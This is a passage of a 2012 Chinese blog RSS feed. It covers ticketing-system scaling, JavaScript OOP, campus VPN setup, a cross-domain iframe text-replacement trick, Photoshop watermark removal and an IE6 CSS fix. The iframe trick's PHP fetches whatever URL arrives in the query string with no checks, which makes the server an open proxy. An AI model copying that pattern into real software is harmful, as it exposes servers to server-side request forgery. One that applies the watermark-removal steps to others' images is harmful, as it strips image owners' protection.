四、前端页面静态化

静态化一些不常变的页面和数据，并gzip一下。还有一个并态的方法是把这些静态页面放在/dev/shm下，这个目录就是内存，直接从内存中把文件读出来返回，这样可以减少昂贵的磁盘I/O。
五、优化查询

很多人查询都是在查一样的，完全可以用反向代理合并这些并发的相同的查询。这样的技术主要用查询结果缓存来实现，第一次查询走数据库获得数据，并把数据放到缓存，后面的查询统统直接访问高速缓存。为每个查询做Hash，使用NoSQL的技术可以完成这个优化。（这个技术也可以用做静态页面）

对于火车票量的查询，个人觉得不要显示数字，就显示一个“有”或“无”就好了，这样可以大大简化系统复杂度，并提升性能。
六、缓存的问题

缓存可以用来缓存动态页面，也可以用来缓存查询的数据。缓存通常有那么几个问题：

1）缓存的更新。也叫缓存和数据库的同步。有这么几种方法，一是缓存time out，让缓存失效，重查，二是，由后端通知更新，一量后端发生变化，通知前端更新。前者实现起来比较简单，但实时性不高，后者实现起来比较复杂 ，但实时性高。

2）缓存的换页。内存可能不够，所以，需要把一些不活跃的数据换出内存，这个和操作系统的内存换页和交换内存很相似。FIFO、LRU、LFU都是比较经典的换页算法。相关内容参看Wikipeida的缓存算法。

3）缓存的重建和持久化。缓存在内存，系统总要维护，所以，缓存就会丢失，如果缓存没了，就需要重建，如果数据量很大，缓存重建的过程会很慢，这会影响生产环境，所以，缓存的持久化也是需要考虑的。

诸多强大的NoSQL都很好支持了上述三大缓存的问题。
后端性能优化技术

前面讨论了前端性能的优化技术，于是前端可能就不是瓶颈问题了。那么性能问题就会到后端数据上来了。下面说几个后端常见的性能优化技术。
一、数据冗余

关于数据冗余，也就是说，把我们的数据库的数据冗余处理，也就是减少表连接这样的开销比较大的操作，但这样会牺牲数据的一致性。风险比较大。很多人把NoSQL用做数据，快是快了，因为数据冗余了，但这对数据一致性有大的风险。这需要根据不同的业务进行分析和处理。（注意：用关系型数据库很容易移植到NoSQL上，但是反过来从NoSQL到关系型就难了）
二、数据镜像

几乎所有主流的数据库都支持镜像，也就是replication。数据库的镜像带来的好处就是可以做负载均衡。把一台数据库的负载均分到多台上，同时又保证了数据一致性（Oracle的SCN）。最重要的是，这样还可以有高可用性，一台废了，还有另一台在服务。

数据镜像的数据一致性可能是个复杂的问题，所以我们要在单条数据上进行数据分区，也就是说，把一个畅销商品的库存均分到不同的服务器上，如，一个畅销商品有1万的库存，我们可以设置10台服务器，每台服务器上有1000个库存，这就好像B2C的仓库一样。
三、数据分区

数据镜像不能解决的一个问题就是数据表里的记录太多，导致数据库操作太慢。所以，把数据分区。数据分区有很多种做法，一般来说有下面这几种：

1）把数据把某种逻辑来分类。比如火车票的订票系统可以按各铁路局来分，可按各种车型分，可以按始发站分，可以按目的地分……，反正就是把一张表拆成多张有一样的字段但是不同种类的表，这样，这些表就可以存在不同的机器上以达到分担负载的目的。

2）把数据按字段分，也就是竖着分表。比如把一些不经常改的数据放在一个表里，经常改的数据放在另外多个表里。把一张表变成1对1的关系，这样，你可以减少表的字段个数，同样可以提升一定的性能。另外，字段多会造成一条记录的存储会被放到不同的页表里，这对于读写性能都有问题。但这样一来会有很多复杂的控制。

3）平均分表。因为第一种方法是并不一定平均分均，可能某个种类的数据还是很多。所以，也有采用平均分配的方式，通过主键ID的范围来分表。

4）同一数据分区。这个在上面数据镜像提过。也就是把同一商品的库存值分到不同的服务器上，比如有10000个库存，可以分到10台服务器上，一台上有1000个库存。然后负载均衡。

这三种分区都有好有坏。最常用的还是第一种。数据一旦分区，你就需要有一个或是多个调度来让你的前端程序知道去哪里找数据。把火车票的数据分区，并放在各个省市，会对12306这个系统有非常有意义的质的性能的提高。
四、后端系统负载均衡

前面说了数据分区，数据分区可以在一定程度上减轻负载，但是无法减轻热销商品的负载，对于火车票来说，可以认为是大城市的某些主干线上的车票。这就需要使用数据镜像来减轻负载。使用数据镜像，你必然要使用负载均衡，在后端，我们可能很难使用像路由器上的负载均衡器，因为那是均衡流量的，因为流量并不代表服务器的繁忙程度。因此，我们需要一个任务分配系统，其还能监控各个服务器的负载情况。

任务分配服务器有一些难点：

    负载情况比较复杂。什么叫忙？是CPU高？还是磁盘I/O高？还是内存使用高？还是并发高？还是内存换页率高？你可能需要全部都要考虑。这些信息要发送给那个任务分配器上，由任务分配器挑选一台负载最轻的服务器来处理。

    任务分配服务器上需要对任务队列，不能丢任务啊，所以还需要持久化。并且可以以批量的方式把任务分配给计算服务器。

    任务分配服务器死了怎么办？这里需要一些如Live-Standby或是failover等高可用性的技术。我们还需要注意那些持久化了的任务的队列如何转移到别的服务器上的问题。

我看到有很多系统都用静态的方式来分配，有的用hash，有的就简单地轮流分析。这些都不够好，一个是不能完美地负载均衡，另一个静态的方法的致命缺陷是，如果有一台计算服务器死机了，或是我们需要加入新的服务器，对于我们的分配器来说，都需要知道的。

还有一种方法是使用抢占式的方式进行负载均衡，由下游的计算服务器去任务服务器上拿任务。让这些计算服务器自己决定自己是否要任务。这样的好处是可以简化系统的复杂度，而且还可以任意实时地减少或增加计算服务器。但是唯一不好的就是，如果有一些任务只能在某种服务器上处理，这可能会引入一些复杂度。不过总体来说，这种方法可能是比较好的负载均衡。
五、异步、 throttle 和 批量处理

异步、throttle（节流阀） 和批量处理都需要对并发请求数做队列处理的。

    异步在业务上一般来说就是收集请求，然后延时处理。在技术上就是可以把各个处理程序做成并行的，也就可以水平扩展了。但是异步的技术问题大概有这些，a）被调用方的结果返回，会涉及进程线程间通信的问题。b）如果程序需要回滚，回滚会有点复杂。c）异步通常都会伴随多线程多进程，并发的控制也相对麻烦一些。d）很多异步系统都用消息机制，消息的丢失和乱序也会是比较复杂的问题。

    throttle 技术其实并不提升性能，这个技术主要是防止系统被超过自己不能处理的流量给搞垮了，这其实是个保护机制。使用throttle技术一般来说是对于一些自己无法控制的系统，比如，和你网站对接的银行系统。

    批量处理的技术，是把一堆基本相同的请求批量处理。比如，大家同时购买同一个商品，没有必要你买一个我就写一次数据库，完全可以收集到一定数量的请求，一次操作。这个技术可以用作很多方面。比如节省网络带宽，我们都知道网络上的MTU（最大传输单元），以态网是1500字节，光纤可以达到4000多个字节，如果你的一个网络包没有放满这个MTU，那就是在浪费网络带宽，因为网卡的驱动程序只有一块一块地读效率才会高。因此，网络发包时，我们需要收集到足够多的信息后再做网络I/O，这也是一种批量处理的方式。批量处理的敌人是流量低，所以，批量处理的系统一般都会设置上两个阀值，一个是作业量，另一个是timeout，只要有一个条件满足，就会开始提交处理。

所以，只要是异步，一般都会有throttle机制，一般都会有队列来排队，有队列，就会有持久化，而系统一般都会使用批量的方式来处理。

云风同学设计的“排队系统” 就是这个技术。这和电子商务的订单系统很相似，就是说，我的系统收到了你的购票下单请求，但是我还没有真正处理，我的系统会跟据我自己的处理能力来throttle住这些大量的请求，并一点一点地处理。一旦处理完成，我就可以发邮件或短信告诉用户你来可以真正购票了。

在这里，我想通过业务和用户需求方面讨论一下云风同学的这个排队系统，因为其从技术上看似解决了这个问题，但是从业务和用户需求上来说可能还是有一些值得我们去深入思考的地方：

1）队列的DoS攻击。首先，我们思考一下，这个队是个单纯地排队的吗？这样做还不够好，因为这样我们不能杜绝黄牛，而且单纯的ticket_id很容易发生DoS攻击，比如，我发起N个 ticket_id，进入购票流程后，我不买，我就耗你半个小时，很容易我就可以让想买票的人几天都买不到票。有人说，用户应该要用身份证来排队， 这样在购买里就必需要用这个身份证来买，但这也还不能杜绝黄牛排队或是号贩子。因为他们可以注册N个帐号来排队，但就是不买。黄牛这些人这个时候只需要干一个事，把网站搞得正常人不能访问，让用户只能通过他们来买。

2）对列的一致性？对这个队列的操作是不是需要锁？只要有锁，性能一定上不去。试想，100万个人同时要求你来分配位置号，这个队列将会成为性能瓶颈。你一定没有数据库实现得性能好，所以，可能比现在还差

3）队列的等待时间。购票时间半小时够不够？多不多？要是那时用户正好不能上网呢？如果时间短了，用户不够时间操作也会抱怨，如果时间长了，后面在排队的那些人也会抱怨。这个方法可能在实际操作上会有很多问题。另外，半个小时太长了，这完全不现实，我们用15分钟来举例：有1千万用户，每一个时刻只能放进去1万个，这1万个用户需要15分钟完成所有操作，那么，这1千万用户全部处理完，需要1000*15m = 250小时，10天半，火车早开了。（我并非乱说，根据铁道部专家的说明：这几天，平均一天下单100万，所以，处理1000万的用户需要十天。这个计算可能有点简单了，我只是想说，在这样低负载的系统下用排队可能都不能解决问题）

4）队列的分布式。这个排队系统只有一个队列好吗？还不足够好。因为，如果你放进去的可以购票的人如果在买同一个车次的同样的类型的票（比如某动车卧铺），还是等于在抢票，也就是说系统的负载还是会有可能集中到其中某台服务器上。因此，最好的方法是根据用户的需求——提供出发地和目的地，来对用户进行排队。而这样一来，队列也就可以是多个，只要是多个队列，就可以水平扩展了。

我觉得完全可以向网上购物学习。在排队（下单）的时候，收集好用户的信息和想要买的票，并允许用户设置购票的优先级，比如，A车次卧铺买 不到就买 B车次的卧铺，如果还买不到就买硬座等等，然后用户把所需的钱先充值好，接下来就是系统完全自动地异步处理订单。成功不成功都发短信或邮件通知用户。这样，系统不仅可以省去那半个小时的用户交互时间，自动化加快处理，还可以合并相同购票请求的人，进行批处理（减少数据库的操作次数）。这种方法最妙的事是可以知道这些排队用户的需求，不但可以优化用户的队列，把用户分布到不同的队列，还可以像亚马逊的心愿单一样，让铁道部做车次统筹安排和调整（最后，排队系统（下单系统）还是要保存在数据库里的或做持久化，不能只放在内存中，不然机器一down，就等着被骂吧）。
小结

写了那么多，我小结一下：

0）无论你怎么设计，你的系统一定要能容易地水平扩展。也就是说，你的整个数据流中，所有的环节都要能够水平扩展。这样，当你的系统有性能问题时，“加3倍的服务器”才不会被人讥笑。

1）上述的技术不是一朝一夕能搞定的，没有长期的积累，基本无望。我们可以看到，无论你用哪种都会引发一些复杂性。

2）集中式的卖票很难搞定，使用上述的技术可以让订票系统能有几佰倍的性能提升。而在各个省市建分站，分开卖票，是能让现有系统性能有质的提升的最好方法。

3）春运前夕抢票且票量供远小于求这种业务模式是相当变态的，让几千万甚至上亿的人在某个早晨的8点钟同时登录同时抢票的这种业务模式是变态中的变态。业务形态的变态决定了无论他们怎么办干一定会被骂。

4）为了那么一两个星期而搞那么大的系统，而其它时间都在闲着，有些可惜了，这也就是铁路才干得出来这样的事了。]]></description>
			<link>http://www.lvtao.net/html/1822.html</link>
			<pubDate>2012-02-06, 18:17:40</pubDate>
		</item>
		<item>
			<title>Javascript 面向对象编程 新手入门教程</title>
			<author>memory</author>
			<description><![CDATA[Javascript是一个类C的语言，他的面向对象的东西相对于C++/Java比较奇怪，但是其的确相当的强大，在 Todd 同学的“对象的消息模型”一文中我们已经可以看到一些端倪了。这两天有个前同事总在问我Javascript面向对象的东西，所以，索性写篇文章让他看去吧，这里这篇文章主要想从一个整体的角度来说明一下Javascript的面向对象的编程。（成文比较仓促，应该有不准确或是有误的地方，请大家批评指正）

另，这篇文章主要基于 ECMAScript 5， 旨在介绍新技术。关于兼容性的东西，请看最后一节。
初探

我们知道Javascript中的变量定义基本如下：

var name = 'memory';;
var email = 'admin(@)lvtao.net';
var website = 'http://lvtao.net';

如果要用对象来写的话，就是下面这个样子：

var chenhao = {
    name :'memory',
    email : 'admin(@)lvtao.net',
    website : 'http://lvtao.net'
};

于是，我就可以这样访问：

//以成员的方式
chenhao.name;
chenhao.email;
chenhao.website;

//以hash map的方式
chenhao["name"];
chenhao["email"];
chenhao["website"];

关于函数，我们知道Javascript的函数是这样的：

var doSomething = function(){
   alert('Hello World.');
};

于是，我们可以这么干：

var sayHello = function(){
   var hello = "Hello, I'm "+ this.name
                + ", my email is: " + this.email
                + ", my website is: " + this.website;
   alert(hello);
};

//直接赋值，这里很像C/C++的函数指针
chenhao.Hello = sayHello;

chenhao.Hello();

相信这些东西都比较简单，大家都明白了。 可以看到javascript对象函数是直接声明，直接赋值，直接就用了。runtime的动态语言。

还有一种比较规范的写法是：

//我们可以看到， 其用function来做class。
var Person = function(name, email, website){
    this.name = name;
    this.email = email;
    this.website = website;

    this.sayHello = function(){
        var hello = "Hello, I'm "+ this.name  + ", \n" +
                    "my email is: " + this.email + ", \n" +
                    "my website is: " + this.website;
        alert(hello);
    };
};

var chenhao = new Person("memory", "haoel@hotmail.com",
                                     "http://lvtao.net");
chenhao.sayHello(); 

顺便说一下，要删除对象的属性，很简单：

delete chenhao['email']

上面的这些例子，我们可以看到这样几点：

    Javascript的数据和成员封装很简单。没有类完全是对象操作。纯动态！
    Javascript function中的this指针很关键，如果没有的话，那就是局部变量或局部函数。
    Javascript对象成员函数可以在使用时临时声明，并把一个全局函数直接赋过去就好了。
    Javascript的成员函数可以在实例上进行修改，也就是说不同实例相同函数名的行为不一定一样。

属性配置 – Object.defineProperty

先看下面的代码：

//创建对象
var chenhao = Object.create(null);

//设置一个属性
 Object.defineProperty( chenhao,
                'name', { value:  'memory',
                          writable:     true,
                          configurable: true,
                          enumerable:   true });

//设置多个属性
Object.defineProperties( chenhao,
    {
        'email'  : { value:  'haoel@hotmail.com',
                     writable:     true,
                     configurable: true,
                     enumerable:   true },
        'website': { value: 'http://lvtao.net',
                     writable:     true,
                     configurable: true,
                     enumerable:   true }
    }
);

下面就说说这些属性配置是什么意思。

    writable：这个属性的值是否可以改。
    configurable：这个属性的配置是否可以改。
    enumerable：这个属性是否能在for…in循环中遍历出来或在Object.keys中列举出来。
    value：属性值。
    get()/set(_value)：get和set访问器。

Get/Set 访问器

关于get/set访问器，它的意思就是用get/set来取代value（其不能和value一起使用），示例如下：

var  age = 0;
Object.defineProperty( chenhao,
            'age', {
                      get: function() {return age+1;},
                      set: function(value) {age = value;}
                      enumerable : true,
                      configurable : true
                    }
);
chenhao.age = 100; //调用set
alert(chenhao.age); //调用get 输出101（get中+1了）;

我们再看一个更为实用的例子——利用已有的属性(age)通过get和set构造新的属性(birth_year)：

Object.defineProperty( chenhao,
            'birth_year',
            {
                get: function() {
                    var d = new Date();
                    var y = d.getFullYear();
                    return ( y - this.age );
                },
                set: function(year) {
                    var d = new Date();
                    var y = d.getFullYear();
                    this.age = y - year;
                }
            }
);

alert(chenhao.birth_year);
chenhao.birth_year = 2000;
alert(chenhao.age);

这样做好像有点麻烦，你说，我为什么不写成下面这个样子：

var chenhao = {
    name: "memory",
    email: "haoel@hotmail.com",
    website: "http://lvtao.net",
    age: 100,
    get birth_year() {
        var d = new Date();
        var y = d.getFullYear();
        return ( y - this.age );
    },
    set birth_year(year) {
        var d = new Date();
        var y = d.getFullYear();
        this.age = y - year;
    }

};
alert(chenhao.birth_year);
chenhao.birth_year = 2000;
alert(chenhao.age);

是的，你的确可以这样的，不过通过defineProperty()你可以干这些事：
1）设置如 writable，configurable，enumerable 等这类的属性配置。
2）动态地为一个对象加属性。比如：一些HTML的DOM对像。
查看对象属性配置

如果查看并管理对象的这些配置，下面有个程序可以输出对象的属性和配置等东西：

//列出对象的属性.
function listProperties(obj)
{
    var newLine = "<br />";
    var names = Object.getOwnPropertyNames(obj);
    for (var i = 0; i < names.length; i++) {
        var prop = names[i];
        document.write(prop + newLine);

        // 列出对象的属性配置（descriptor）动用getOwnPropertyDescriptor函数。
        var descriptor = Object.getOwnPropertyDescriptor(obj, prop);
        for (var attr in descriptor) {
            document.write("..." + attr + ': ' + descriptor[attr]);
            document.write(newLine);
        }
        document.write(newLine);
    }
}

listProperties(chenhao);

call，apply， bind 和 this

关于Javascript的this指针，和C++/Java很类似。 我们来看个示例：（这个示例很简单了，我就不多说了）

function print(text){
    document.write(this.value + ' - ' + text+ '<br>');
}

var a = {value: 10, print : print};
var b = {value: 20, print : print};

print('hello');// this => global, output "undefined - hello"

a.print('a');// this => a, output "10 - a"
b.print('b'); // this => b, output "20 - b"

a['print']('a'); // this => a, output "10 - a"

我们再来看看call 和 apply，这两个函数的差别就是参数的样子不一样，另一个就是性能不一样，apply的性能要差很多。（关于性能，可到 JSPerf 上去跑跑看看）

print.call(a, 'a'); // this => a, output "10 - a"
print.call(b, 'b'); // this => b, output "20 - b"

print.apply(a, ['a']); // this => a, output "10 - a"
print.apply(b, ['b']); // this => b, output "20 - b"

但是在bind后，this指针，可能会有不一样，但是因为Javascript是动态的。如下面的示例

var p = print.bind(a);
p('a');             // this => a, output "10 - a"
p.call(b, 'b');     // this => a, output "10 - b"
p.apply(b, ['b']);  // this => a, output "10 - b"

继承 和 重载

通过上面的那些示例，我们可以通过Object.create()来实际继承，请看下面的代码，Student继承于Object。

var Person = Object.create(null);

Object.defineProperties
(
    Person,
    {
        'name'  : {  value: 'memory'},
        'email'  : { value : 'haoel@hotmail.com'},
        'website': { value: 'http://lvtao.net'}
    }
);

Person.sayHello = function () {
    var hello = "<p>Hello, I am "+ this.name  + ", <br>" +
                "my email is: " + this.email + ", <br>" +
                "my website is: " + this.website;
    document.write(hello + "<br>");
}

var Student = Object.create(Person);
Student.no = "1234567"; //学号
Student.dept = "Computer Science"; //系

//使用Person的属性
document.write(Student.name + ' ' + Student.email + ' ' + Student.website +'<br>');

//使用Person的方法
Student.sayHello();

//重载SayHello方法
Student.sayHello = function (person) {
    var hello = "<p>Hello, I am "+ this.name  + ", <br>" +
                "my email is: " + this.email + ", <br>" +
                "my website is: " + this.website + ", <br>" +
                "my student no is: " + this. no + ", <br>" +
                "my departent is: " + this. dept;
    document.write(hello + '<br>');
}
//再次调用
Student.sayHello();

//查看Student的属性（只有 no 、 dept 和 重载了的sayHello）
document.write('<p>' + Object.keys(Student) + '<br>');

通用上面这个示例，我们可以看到，Person里的属性并没有被真正复制到了Student中来，但是我们可以去存取。这是因为Javascript用委托实现了这一机制。其实，这就是Prototype，Person是Student的Prototype。

当我们的代码需要一个属性的时候，Javascript的引擎会先看当前的这个对象中是否有这个属性，如果没有的话，就会查找他的Prototype对象是否有这个属性，一直继续下去，直到找到或是直到没有Prototype对象。

为了证明这个事，我们可以使用Object.getPrototypeOf()来检验一下：

Student.name = 'aaa';

//输出 aaa
document.write('<p>' + Student.name + '</p>');

//输出 memory
document.write('<p>' +Object.getPrototypeOf(Student).name + '</p>');

于是，你还可以在子对象的函数里调用父对象的函数，就好像C++里的 Base::func() 一样。于是，我们重载hello的方法就可以使用父类的代码了，如下所示：

//新版的重载SayHello方法
Student.sayHello = function (person) {
    Object.getPrototypeOf(this).sayHello.call(this);
    var hello = "my student no is: " + this. no + ", <br>" +
                "my departent is: " + this. dept;
    document.write(hello + '<br>');
}

这个很强大吧。
组合

上面的那个东西还不能满足我们的要求，我们可能希望这些对象能真正的组合起来。为什么要组合？因为我们都知道是这是OO设计的最重要的东西。不过，这对于Javascript来并没有支持得特别好，不好我们依然可以搞定个事。

首先，我们需要定义一个Composition的函数：（target是作用于是对象，source是源对象），下面这个代码还是很简单的，就是把source里的属性一个一个拿出来然后定义到target中。

function Composition(target, source)
{
    var desc  = Object.getOwnPropertyDescriptor;
    var prop  = Object.getOwnPropertyNames;
    var def_prop = Object.defineProperty;

    prop(source).forEach(
        function(key) {
            def_prop(target, key, desc(source, key))
        }
    )
    return target;
}

有了这个函数以后，我们就可以这来玩了：

//艺术家
var Artist = Object.create(null);
Artist.sing = function() {
    return this.name + ' starts singing...';
}
Artist.paint = function() {
    return this.name + ' starts painting...';
}

//运动员
var Sporter = Object.create(null);
Sporter.run = function() {
    return this.name + ' starts running...';
}
Sporter.swim = function() {
    return this.name + ' starts swimming...';
}

Composition(Person, Artist);
document.write(Person.sing() + '<br>');
document.write(Person.paint() + '<br>');

Composition(Person, Sporter);
document.write(Person.run() + '<br>');
document.write(Person.swim() + '<br>');

//看看 Person中有什么？（输出：sayHello,sing,paint,swim,run）
document.write('<p>' + Object.keys(Person) + '<br>');

Prototype 和 继承

我们先来说说Prototype。我们先看下面的例程，这个例程不需要解释吧，很像C语言里的函数指针，在C语言里这样的东西见得多了。

var plus = function(x,y){
    document.write( x + ' + ' + y + ' = ' + (x+y) + '<br>');
    return x + y;
};

var minus = function(x,y){
    document.write(x + ' - ' + y + ' = ' + (x-y) + '<br>');
    return x - y;
};

var operations = {
    '+': plus,
    '-': minus
};

var calculate = function(x, y, operation){
    return operations[operation](x, y);
};

calculate(12, 4, '+');
calculate(24, 3, '-');

那么，我们能不能把这些东西封装起来呢，我们需要使用prototype。看下面的示例：

var Cal = function(x, y){
    this.x = x;
    this.y = y;
}

Cal.prototype.operations = {
    '+': function(x, y) { return x+y;},
    '-': function(x, y) { return x-y;}
};

Cal.prototype.calculate = function(operation){
    return this.operations[operation](this.x, this.y);
};

var c = new Cal(4, 5);

c.calculate('+');
c.calculate('-');

这就是prototype的用法，prototype 是javascript这个语言中最重要的内容。网上有太多的文章介始这个东西了。说白了，prototype就是对一对象进行扩展，其特点在于通过“复制”一个已经存在的实例来返回新的实例,而不是新建实例。被复制的实例就是我们所称的“原型”，这个原型是可定制的（当然，这里没有真正的复制，实际只是委托）。上面的这个例子中，我们扩展了实例Cal，让其有了一个operations的属性和一个calculate的方法。

这样，我们可以通过这一特性来实现继承。还记得我们最最前面的那个Person吧， 下面的示例是创建一个Student来继承Person。

function Person(name, email, website){
    this.name = name;
    this.email = email;
    this.website = website;
};

Person.prototype.sayHello = function(){
    var hello = "Hello, I am "+ this.name  + ", <br>" +
                "my email is: " + this.email + ", <br>" +
                "my website is: " + this.website;
    return hello;
};

function Student(name, email, website, no, dept){
    var proto = Object.getPrototypeOf;
    proto(Student.prototype).constructor.call(this, name, email, website);
    this.no = no;
    this.dept = dept;
}

// 继承prototype
Student.prototype = Object.create(Person.prototype);

//重置构造函数
Student.prototype.constructor = Student;

//重载sayHello()
Student.prototype.sayHello = function(){
    var proto = Object.getPrototypeOf;
    var hello = proto(Student.prototype).sayHello.call(this) + '<br>';
    hello += "my student no is: " + this. no + ", <br>" +
             "my departent is: " + this. dept;
    return hello;
};

var me = new Student(
    "memory",
    "haoel@hotmail.com",
    "http://lvtao.net",
    "12345678",
    "Computer Science"
);
document.write(me.sayHello());

兼容性

上面的这些代码并不一定能在所有的浏览器下都能运行，因为上面这些代码遵循 ECMAScript 5 的规范，关于ECMAScript 5 的浏览器兼容列表，你可以看这里“ES5浏览器兼容表”。

本文中的所有代码都在Chrome最新版中测试过了。

下面是一些函数，可以用在不兼容ES5的浏览器中：
Object.create()函数

function clone(proto) {
    function Dummy() { }

    Dummy.prototype             = proto;
    Dummy.prototype.constructor = Dummy;

    return new Dummy(); //等价于Object.create(Person);
}

var me = clone(Person);

defineProperty()函数

function defineProperty(target, key, descriptor) {
    if (descriptor.value){
        target[key] = descriptor.value;
    }else {
        descriptor.get && target.__defineGetter__(key, descriptor.get);
        descriptor.set && target.__defineSetter__(key, descriptor.set);
    }

    return target
}

keys()函数

function keys(object) { var result, key
    result = [];
    for (key in object){
        if (object.hasOwnProperty(key))  result.push(key)
    }

    return result;
}

Object.getPrototypeOf() 函数

function proto(object) {
    return !object?                null
         : '__proto__' in object?  object.__proto__
         : /* not exposed? */      object.constructor.prototype
}

bind 函数

var slice = [].slice

function bind(fn, bound_this) { var bound_args
    bound_args = slice.call(arguments, 2)
    return function() { var args
        args = bound_args.concat(slice.call(arguments))
        return fn.apply(bound_this, args) }
}]]></description>
			<link>http://www.lvtao.net/html/1821.html</link>
			<pubDate>2012-02-06, 18:16:28</pubDate>
		</item>
		<item>
			<title>校外用户通过VPN访问校园网的设置方法 for windows xp</title>
			<author>memory</author>
			<description><![CDATA[一、需要使用VPN的教职工凭有效证件到现代教育技术与网管中心办公室（教7B-319）办理VPN开户手续，该账户免费申请，只能用于VPN接入校园网。

二、该VPN服务是为了使校园网内资源更好的服务于教职员工的教学和科研，任何人不得将账户和密码提供给他人使用，不得用于非教学、科研用途或者以盈利为目的，否则，一经发现将作停网处理，并在校园网上公布。

三、用户在使用中如果遇到技术问题可以拨打网管中心电话。

四、Windows XP用户详细设置方法图解：
[size=24px]
[/size]第一步：用各自平时的上网方式先将您的计算机[color=#FF0000]连接上因特网[/color]；

第二步：打开“[color=#FF0000]开始菜单－程序－附件－通讯－新建连接向导[/color]”，如出现下图所示连接向导：

[img]/attachment/day_120206/201202061225053795.JPG[/img]

第三步：选择第二项“[color=#FF0000]连接到我的工作场所的网络[/color]”，点击下一步，出现如下画面：

[img]/attachment/day_120206/201202061225064169.JPG[/img]

第四步：选择“[color=#FF0000]虚拟专用网络连接[/color]”，点击下一步，输入连接的名称，可按自己的喜好输入：

[img]/attachment/day_120206/201202061225067179.JPG[/img]

第五步：因为之前已经建立了因特网的连接，所以此处请选择[color=#FF0000]不拨初始连接[/color]：

[img]/attachment/day_120206/201202061225063102.JPG[/img]

第六步：输入VPN服务器的IP地址或域名，此处请输入校园网VPN服务器域名：

[img]/attachment/day_120206/201202061225066345.JPG[/img]

第七步：完成连接向导，根据自己的习惯选择是否在桌面上放置快捷方式，点击完成关闭向导。

[img]/attachment/day_120206/201202061225079196.JPG[/img]

第八步：双击桌面上的连接名称打开刚才创建的连接（未添加桌面快捷方式的用户可在“开始－设置－网络连接”里找到刚才的连接），输入你申请到的VPN用户名和密码，点击连接即可拨入校园网。

[img]/attachment/day_120206/201202061225076901.JPG[/img]

第九步：连接成功后，会在桌面右下角的系统托盘中看到连接成功的图标。

[img]/attachment/day_120206/201202061225071404.JPG[/img]

第十步：至此您的计算机已经通过VPN成功的连接了校园网，可以向校内的计算机完全一样的访问校园网资源，试着在IE浏览器的地址栏输入：域名 ，是不是打开了熟悉的图书馆清华同方期刊数据库的主页了？

注意：[color=#FF0000]通过VPN连接了校园网后，您的计算机将只能访问校园网的资源，不能同时访问因特网了，如果需要访问因特网，请断开VPN连接即可[/color]，断开连接用鼠标右键单击桌面右下角系统托盘中的连接图标，在弹出菜单中选择“断开”即可。

[img]/attachment/day_120206/201202061225072642.JPG[/img]]]></description>
			<link>http://www.lvtao.net/html/1820.html</link>
			<pubDate>2012-02-06, 12:25:58</pubDate>
		</item>
		<item>
			<title>跨域修改iframe内的文字</title>
			<author>memory</author>
			<description><![CDATA[所用到的js脚本：
<script type="text/javascript">
document.getElementsByTagName("iframe")[0].src="replace.php?"+document.getElementsByTagName("iframe")[0].src;
</script>
replace.php代码：
<?php
$site=$_SERVER['QUERY_STRING'];
$ch = curl_init();
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
          curl_setopt($ch, CURLOPT_URL, $site);
          $content  = curl_exec ($ch);
          curl_close ($ch);
$content=str_replace("browser","崔凯到此一游",$content);
//将iframe对方页面的browser替换为崔凯到此一游
echo $content;
exit;]]></description>
			<link>http://www.lvtao.net/html/1819.html</link>
			<pubDate>2012-02-06, 12:23:52</pubDate>
		</item>
		<item>
			<title>photoshop 如何去除“线条状”的图片水印</title>
			<author>memory</author>
			<description><![CDATA[论坛上遇到这样一个问题：“请教一下,下图中的线条状水印怎么去掉？”

[img]/attachment/day_120206/201202061221128269.jpg[/img]

我们可以从“如何添加的水印”入手，分析一下这些线条是怎样填充进去的，然后再考虑如何删掉它。

最终效果演示：

[img]/attachment/day_120206/201202061221129471.jpg[/img]



[b]解决步骤如下：[/b]

1.首先观察并分析图片的填充块，选择其中的一部分出来：

[img]/attachment/day_120206/201202061221128706.jpg[/img]

2.新建文件，将刚才取到的区域放进来：

[img]/attachment/day_120206/201202061221137204.jpg[/img]

3.反选，并去掉右下角的多余部分：

[img]/attachment/day_120206/201202061221136601.jpg[/img]

4.调整色彩范围，选中这些线：

[img]/attachment/day_120206/201202061221133146.jpg[/img]

5.反选并删除背景，将此图自定义图案：

[img]/attachment/day_120206/201202061221144955.jpg[/img]

6.回到要处理的图，全选。新建图层后用刚才的自定义图案填充（注意不要偏移，要和水印相吻合）

[img]/attachment/day_120206/201202061221142642.jpg[/img]

7.ctrl+鼠标点击“新建的图层”后载入选区，这样就选中了新图层的那些线了：

[img]/attachment/day_120206/201202061221148558.jpg[/img]

8.选中要处理的区域后，再去除这些线方法就很容易了：选中背景层，用色阶参数如下(我用的是152，可以根据自己的需要进行调整)

[img]/attachment/day_120206/201202061221159655.jpg[/img]

9.下面就是隐藏新建层后的效果，斜线被批量去除：

[img]/attachment/day_120206/201202061221157425.jpg[/img]]]></description>
			<link>http://www.lvtao.net/html/1818.html</link>
			<pubDate>2012-02-06, 12:22:06</pubDate>
		</item>
		<item>
			<title>解决 IE6 下 img 多余 5 个像素的空白</title>
			<author>memory</author>
			<description><![CDATA[最近的实践中，越来越觉得 li 标签中包含 a img 标签的时候会比较麻烦，需要注意。当然，问题还是一如既往的出现在 IE 下。以下为其中一例：
[code]<ul>
  <li><a href="#"><img src="img/temp.jpg" alt="" /></a></li>
  <li><a href="#"><img src="img/temp.jpg" alt="" /></a></li>
  <li><a href="#"><img src="img/temp.jpg" alt="" /></a></li>
  <li><a href="#"><img src="img/temp.jpg" alt="" /></a></li>
</ul>
[/code]
CSS Code:
[code]ul { width:280px; }
ul li { display:block; height:57px; width:277px; }
[/code]
其中 temp.jpg 尺寸为 277×57
Firefox 下的正常表现：
[img]/attachment/day_120202/201202021240328679.jpg[/img]
IE6 下的非正常表现：
[img]/attachment/day_120202/201202021240334093.jpg[/img]
很明显地可以看到 IE 中，li 的表现高度，并非我们设定的 57px，而是比其要高，这是因为 img 下面多出了 5px 的空白。
解决方法 一
使 li 浮动，并设置 img 为块级元素
[code]ul { width:280px; }
ul li { display:block; float:left; height:57px; width:277px; }
img { display:block; }
[/code]
解决方法 二
设置 ul 的 font-size:0;
[code]ul { width:280px; font-size:0; }
ul li { display:block; height:57px; width:277px; }
[/code]
解决方法 三
设置 img 的 vertical-align: bottom;
[code]ul { width:280px; font-size:0; }
ul li { display:block; height:57px; width:277px; }
img { vertical-align:bottom; }
[/code]
解决方法 四 我认为是最傻的
设置 img 的 margin-bottom: -5px;
[code]ul { width:280px; font-size:0; }
ul li { display:block; height:57px; width:277px; }
img { margin-bottom:-5px; }
[/code]]]></description>
